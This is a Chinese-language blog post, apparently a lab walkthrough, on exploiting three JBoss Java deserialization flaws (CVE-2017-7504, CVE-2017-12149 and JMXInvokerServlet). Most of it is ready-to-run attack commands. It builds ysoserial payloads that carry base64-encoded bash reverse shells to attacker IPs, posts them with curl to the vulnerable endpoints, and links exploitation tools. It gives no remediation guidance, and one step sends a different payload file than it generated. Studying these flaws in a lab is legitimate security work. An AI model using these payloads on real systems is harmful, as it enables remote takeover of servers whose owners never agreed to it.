目 录CONTENT

文章目录

Jboos 中间件漏洞

Administrator
2024-12-02 / 0 评论 / 0 点赞 / 5 阅读 / 0 字

Jboos 中间件漏洞

JBoss是一套开源的企业级 Java 中间件系统,用于实现基于 SOA 的企业应用和服务

JBoss AS 开源社区版本,发布比较频繁。JBoss 7 ,先后发布了 7.0.0, 7.0.1, 7.0.2, 7.1.0, 7.1.1, 7.1.2, 7.1.3, 7.2.0,其中 7.1.1 比较经典,7.2.0 是 JBoss EAP 6.1 的基础,但7.1.2, 7.1.3, 7.2.0 只是源代码打了 Tag,并没提供开放下载。

Jboss目录结构

JBoss EAP(Enterprise Application Platform) 在开源版本上构建的企业版本,目前Redhat 已经将 JBoss EAP 放在 JBoss.org 开放下载,开发人无需注册 Redhat (之前是必须有 Redhat.com 账号才能下载 JBoss EAP)。

Wildfly 是 JBoss AS 新的项目名称,从 8 开始,新的 JBoss AS 正式有一个名字,叫 WildFly, 目前已经发布 8 Beta 版本,针对开发人员的 Java EE 7 功能已经完全实现。

一.CVE-2017-7504

漏洞描述:

Jboss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

浏览器访问http://192.168.100.104:8080/,测试环境是否搭建成功

漏洞地址

/jbossmq-httpil/HTTPServerILServlet

该漏洞出现在/JBOSSmq-httpil/HTTPServerILServlet请求中,

我们借助ysoserial的eCommonsCollections5利用链来复现。


ysoserial是在通用Java库中发现的实用程序和面向属性的编程“小工具链”的集合,可以在适当的条件下利用Java应用程序对对象执行不安全的反序列化。主驱动程序接受用户指定的命令,并将其包装在用户指定的小工具链中,然后将这些对象序列化为stdout。当在类路径上具有必需小工具的应用程序不安全地反序列化此数据时,该链将自动被调用并导致命令在应用程序主机上执行。

https://github.com/frohoff/ysoserial

使用此工具需要JAVA8环境,所以请使用JAVA8环境!

生成Payload:

java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/success" > touch.ser

此命令是在tmp目录生成success文件

curl http://192.168.100.104:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @touch.ser

将touch.ser 当成POST数据包发送

靶机

反弹shell:

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMDAvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}" > 1.ser

执行攻击

curl http://192.168.100.104:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser

二.CVE-2017-12149

2017年8月30日,厂商Redhat发布了一个JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

curl http://192.168.100.104:8080/invoker/readonly --data-binary @1.ser

收到反弹shell

三.JMXInvokerServlet-deserialization

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

此漏洞存在于JBoss中 /invoker/JMXInvokerServlet 路径。

访问若提示下载JMXInvokerServlet,则可能存在漏洞:

首先,下载工具JavaDeserH2HC

https://github.com/joaomatosf/JavaDeserH2HC

生成一个ser的exp

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

这里填接收反弹shell的ip和端口

java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap 192.168.100.100:2333  

执行攻击

curl http://192.168.100.104:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser


image-glqo.png

收到反弹shell

四.快速利用工具

JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool

https://github.com/joaomatosf/jexboss

DeserializeExploit.jar

https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

JavaJboss.jar

-.-

0

评论区